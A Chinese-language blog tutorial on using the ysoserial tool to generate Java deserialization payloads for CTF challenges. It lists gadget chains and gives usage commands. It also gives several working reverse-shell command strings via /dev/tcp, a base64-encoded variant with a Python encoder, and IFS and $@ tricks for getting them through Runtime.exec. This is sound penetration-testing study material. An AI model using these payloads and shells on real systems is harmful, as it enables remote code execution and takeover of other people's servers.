ysoserial使用方法

发布于 2021-10-21  4821 次阅读


ysoserial使用方法


最近在打CTF的时候遇到了Java反序列化的题目,多次用到了ysoserial工具,因此简单总结了一下这个工具的使用

ysoserial介绍

项目地址:https://github.com/angelwhu/ysoserial

ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。

可获取的Java反序列化payload

$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

各种Java反序列化链的payloads目录:这里存放的就是各种链的payload,可看他是链是怎么写的

ysoserial\payloads

ysoserial生成payloads的原理可看下面这篇文章:灵活运用了Java反射机制和动态代理生成POC

https://www.anquanke.com/post/id/229108#h2-0

ysoserial使用

两种安装的方法:

一:

通过这个链接:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

下载最新的jar包直接使用

二:在GitHub下载源文件之后,通过maven编译生成jar包

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

会在target目录下生成ysoserial-0.0.6-SNAPSHOT-all.jar

image-20211018143438096

主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务于。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] '[command]'
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xx.xxxxx.ceye.io
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

ysoserial 0.6 payloads:

payload author dependencies impact (if not RCE)
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 file uploading
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl jre only vuln detect
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4

可以看到URLDNS是用于dns查询的,是一个通用的反序列化漏洞,常常用于判断是否存在Java反序列化漏洞。

FileUpload1用于文件上传。

除此之外其它的链都是用于RCE(远程命令执行)

注意事项

powershell导致生成错误的POC

在使用过程中发现windowspowershell在输出二进制时会对数据进行一些更改,导致数据发生的改变。因此请使用CMD生成POC

image-20211018160101097

可以看到powershell输出的二进制数据被改变了,而CMD则是正常的

解决办法参考:https://stackoverflow.com/questions/5918733/powershells-write-output-echo-and-output-redirection-insert-excessive-characte

Runtime.getRuntime().exec(String)无法反弹shell

在反弹shell的时候使用下面这条语句无法反弹shell

/bin/bash -i >& /dev/tcp/xxxxxx/xxx 0>&1

产生原因

exec方法总共六个重载方法

    public Process exec(String command) throws IOException {
        return exec(command, null, null);
    }
    public Process exec(String command, String[] envp) throws IOException {
        return exec(command, envp, null);
    }
    public Process exec(String command, String[] envp, File dir)
        throws IOException {
        if (command.isEmpty())
            throw new IllegalArgumentException("Empty command");

        StringTokenizer st = new StringTokenizer(command);
        String[] cmdarray = new String[st.countTokens()];
        for (int i = 0; st.hasMoreTokens(); i++)
            cmdarray[i] = st.nextToken();
        return exec(cmdarray, envp, dir);
    }
    public Process exec(String cmdarray[]) throws IOException {
        return exec(cmdarray, null, null);
    }
    public Process exec(String[] cmdarray, String[] envp) throws IOException {
        return exec(cmdarray, envp, null);
    }
    public Process exec(String[] cmdarray, String[] envp, File dir)
        throws IOException {
        return new ProcessBuilder(cmdarray)
            .environment(envp)
            .directory(dir)
            .start();
    }

可以看到六个方法不管哪一个,最终都会调用public Process exec(String[] cmdarray, String[] envp, File dir)

在CTF中用的最多的是exec(String command),下面看看为什么无法反弹shell

exec(String command)->exec(String command, String[] envp, File dir),注意下面一句,对传入的字符串进行了处理

StringTokenizer st = new StringTokenizer(command);

StringTokenizer 属于 java.util 包,用于分隔字符串。

StringTokenizer 构造方法:

    1. StringTokenizer(String str) :构造一个用来解析 str 的 StringTokenizer 对象。java 默认的分隔符是空格(" ")、制表符(\t)、换行符(\n)、回车符(\r)
    1. StringTokenizer(String str, String delim) :构造一个用来解析 strStringTokenizer 对象,并提供一个指定的分隔符。
    1. StringTokenizer(String str, String delim, boolean returnDelims) :构造一个用来解析 strStringTokenizer 对象,并提供一个指定的分隔符,同时,指定是否返回分隔符。
public StringTokenizer(String str) {
    this(str, " \t\n\r\f", false);
}

下面这几句就是将分割好的字符串重新生成cmdarray数组

String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
     cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);

因此传入字符串不能反弹shell,有下面几个原因:

1、重定向和管道符的使用方式在正在启动的进程的中没有意义。这是什么意思呢?例如,ls > dir_listing 在shell中执行为将当前目录的列表输出到命名为 dir_listing 。但是在 exec() 函数的中,该命令为解释为获取 >dir_listing 目录的列表。

换句话来讲,就是重定向和管道符,需要在我们诸如 bash 的环境下才有意义。所以我们需要将 /bin/bash 赋予给 array[0] 来调用 bash 进程。

2、参数无法界定范围。当直接传入 exec("bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1'") 整个字符串后。会经过 StringTokenizer 进行分割,会变成

"bash" "-c" "'bash" "-i" ">&" "/dev/tcp/xx.xx.xx.xx/6543" "0>&1"

这会导致无法识别参数-c,因此我们这里的参数 -c 的值,需要不让他做分割。

解决方法

传入数组:

传入数组调用Process exec(String[] cmdarray, String[] envp, File dir),就不会进行字符串分割了。

exec(new String[]{"bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1"})

但是其实使用ysoserial生成POC时,传入的通常是字符串

传入字符串:

base64绕过

bash 是支持 base64 编码解码的,所以可以采用,来进行反弹。

exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

使用工具参考,可自动进行转换:https://x.hacking8.com/?post=293

python脚本转换:

import base64
command = b"ls"
cmd = r"bash -c {{echo,{command}}}|{{base64,-d}}|{{bash,-i\}}".format(command = base64.b64encode(command).decode('utf-8'))
print(cmd)
IFS绕过
ing after expansion and to split lines into words with the read builtin command. The default value is ''.

bashIFS 是内部域分隔符,其默认值为空白(包括:空格,tab, 和换行)

构造payload:

bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1

但是这样会报不明确的重定向的错误,然后我尝试将所有重定向前后的 ${IFS} 去掉,利用 0>&1 等价于 0<&1 再来构造,就能成功反弹shell了

bash${IFS}-i>&/dev/tcp/ip/port<&1

而再在 $IFS 后面加 $ 也可以起到截断的作用,一般用 $9 ,因为 $9 是当前系统shell进程的第九个参数的持有者,这里始终为空字符串。

所以${IFS}$IFS$9 都是相同的作用

bash$IFS$9-i>&/dev/tcp/ip/port<&1
$@、$*绕过
$@ 代表传入参数的列表
$* 以字符串方式显示所有传入的参数

例如

/bin/bash -c '$@|bash' 'xxx' 'echo' 'ls'

$@|bash 就相当于获取到的参数作为bash的输入

由于 $* $@ 只会从脚本里读取参数,所以这里把 xxx 解释为脚本名

也就是说,这里的

'$@|bash' 'xxx' 'echo' 'ls' 
执行的是:
echo 'ls'|bash

参考链接:https://www.jianshu.com/p/ae3922db1f70


沙上有印,光中有影!